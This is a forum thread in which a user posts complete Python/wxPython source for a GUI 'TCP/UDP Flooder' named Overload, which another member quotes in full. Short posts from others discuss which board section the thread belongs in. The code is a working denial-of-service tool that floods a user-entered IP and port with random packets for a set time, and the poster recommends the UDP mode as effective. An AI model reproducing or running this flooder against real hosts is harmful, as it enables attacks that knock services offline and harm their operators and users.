• Welcome to ForumKorner!
    Join today and become a part of the community.

[Python] TCP/UDP Flooder (Source)

Buddy_mybb_import10515

Active Member
Reputation
0
Well... my group is dead and we have no programming section, so I'll just post this here.
You'll need Python 2.6 and wxPython to run it.

TCP sucks and you'll most likely not be able to get much use about it because of how TCP flooding works, but UDP should work fine.

I doubtyou will be able to take anything down, but it's good to study.
Code:
import random
from time import clock,sleep
import wx
import socket

class road(wx.Frame):
    def __init__(self, parent, id):
        wx.Frame.__init__(self, parent, id, 'Overload Version 1.0', size=(435,295))
        panel = wx.Panel(self)

        image_file = 'road.bmp'
        bmp = wx.Bitmap(image_file)
        self.bitmap = wx.StaticBitmap(self, wx.ID_ANY, bmp, (0, 0))

        panel2 = wx.Panel(self, size=(158,200), pos=(225,85))
        panel2.SetBackgroundColour("#D8BFD8")

        self.ipctrl = wx.TextCtrl(panel2, -1, '192.168.1.1', size=(132,-1), pos=(14,25))
        
        wx.StaticBox(panel2, -1, 'Settings', pos=(5, 5), size=(148,150))

        self.rb = wx.RadioButton(panel2, -1, 'TCP', (14,55), style=wx.RB_GROUP)
        self.rb2 = wx.RadioButton(panel2, -1, 'UDP', (92,55))

        wx.StaticText(panel2, -1, 'Time',(18,100))
        self.durctrl = wx.TextCtrl(panel2, -1, '30', size=(50,-1), pos=(14,120))

        wx.StaticText(panel2, -1, 'Port',(98,100))
        self.ptctrl = wx.TextCtrl(panel2, -1, '80', size=(50,-1), pos=(95,120))

        startbutton = wx.Button(panel2, -1, 'Start', size=(148,-1), pos=(5,160))
        self.Bind(wx.EVT_BUTTON, self.start, id=-1)

    def start(self, event):
        if self.rb.GetValue()==1:
            wx.MessageBox("[spoiler][spoiler=Spoiler] [/spoiler][/spoiler]\nThat's how you double spoiler in myBB.",'Starting...')
            self.onTCP()
        else:
            wx.MessageBox("The flooder is now starting.",'Starting...')
            self.onUDP()

    def onTCP(self):
        num_bytes = 200
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur

        global socket
        
        socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        bytes=random._urandom(num_bytes)
        addr=(ip,port)
        socket.connect(addr)
        socket.settimeout(None)

        while True:
            if clock()<duration:
                socket.sendto(bytes,(ip,port))
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

    def onUDP(self):
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur
        sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes=random._urandom(1024)

        while True:
            if clock()<duration:
                sock.sendto(bytes,(ip,port))                
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

if __name__ == '__main__':
    app=wx.PySimpleApp()
    frame = road(parent=None, id=-1)
    frame.Show()
    app.MainLoop()
 

Jorim™

Onyx user!
Reputation
0
Road Kamelot said:
Well... my group is dead and we have no programming section, so I'll just post this here.
You'll need Python 2.6 and wxPython to run it.

TCP sucks and you'll most likely not be able to get much use about it because of how TCP flooding works, but UDP should work fine.

I doubtyou will be able to take anything down, but it's good to study.
Code:
import random
from time import clock,sleep
import wx
import socket

class road(wx.Frame):
    def __init__(self, parent, id):
        wx.Frame.__init__(self, parent, id, 'Overload Version 1.0', size=(435,295))
        panel = wx.Panel(self)

        image_file = 'road.bmp'
        bmp = wx.Bitmap(image_file)
        self.bitmap = wx.StaticBitmap(self, wx.ID_ANY, bmp, (0, 0))

        panel2 = wx.Panel(self, size=(158,200), pos=(225,85))
        panel2.SetBackgroundColour("#D8BFD8")

        self.ipctrl = wx.TextCtrl(panel2, -1, '192.168.1.1', size=(132,-1), pos=(14,25))
        
        wx.StaticBox(panel2, -1, 'Settings', pos=(5, 5), size=(148,150))

        self.rb = wx.RadioButton(panel2, -1, 'TCP', (14,55), style=wx.RB_GROUP)
        self.rb2 = wx.RadioButton(panel2, -1, 'UDP', (92,55))

        wx.StaticText(panel2, -1, 'Time',(18,100))
        self.durctrl = wx.TextCtrl(panel2, -1, '30', size=(50,-1), pos=(14,120))

        wx.StaticText(panel2, -1, 'Port',(98,100))
        self.ptctrl = wx.TextCtrl(panel2, -1, '80', size=(50,-1), pos=(95,120))

        startbutton = wx.Button(panel2, -1, 'Start', size=(148,-1), pos=(5,160))
        self.Bind(wx.EVT_BUTTON, self.start, id=-1)

    def start(self, event):
        if self.rb.GetValue()==1:
            wx.MessageBox("[spoiler][spoiler=Spoiler] [/spoiler][/spoiler]\nThat's how you double spoiler in myBB.",'Starting...')
            self.onTCP()
        else:
            wx.MessageBox("The flooder is now starting.",'Starting...')
            self.onUDP()

    def onTCP(self):
        num_bytes = 200
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur

        global socket
        
        socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        bytes=random._urandom(num_bytes)
        addr=(ip,port)
        socket.connect(addr)
        socket.settimeout(None)

        while True:
            if clock()<duration:
                socket.sendto(bytes,(ip,port))
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

    def onUDP(self):
        port = int(self.ptctrl.GetValue())
        ip = self.ipctrl.GetValue()
        dur = int(self.durctrl.GetValue())
        duration=clock()+dur
        sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes=random._urandom(1024)

        while True:
            if clock()<duration:
                sock.sendto(bytes,(ip,port))                
            else:
                break
        wx.MessageBox("The flood is complete.",'Finished...')

if __name__ == '__main__':
    app=wx.PySimpleApp()
    frame = road(parent=None, id=-1)
    frame.Show()
    app.MainLoop()

People are just inactive...So pretty much it's just me and you as of right now.
 

Techno

User is banned.
Reputation
0
Moved to guides and how to until a new sub section is made under computers/
 

Buddy_mybb_import10515

Active Member
Reputation
0
Techno if you want back in the Coders I'll add you. D:
I forgot that you went to... Poland?

Jonathan said:
Shouldn't this be in the Computer section?
It's more appropriate than the Lobby.

There's no section for programming so I thought the lobby would be better.
It's not really a How-To because it's a source.

I guess it could be considered a guide though.
 
Top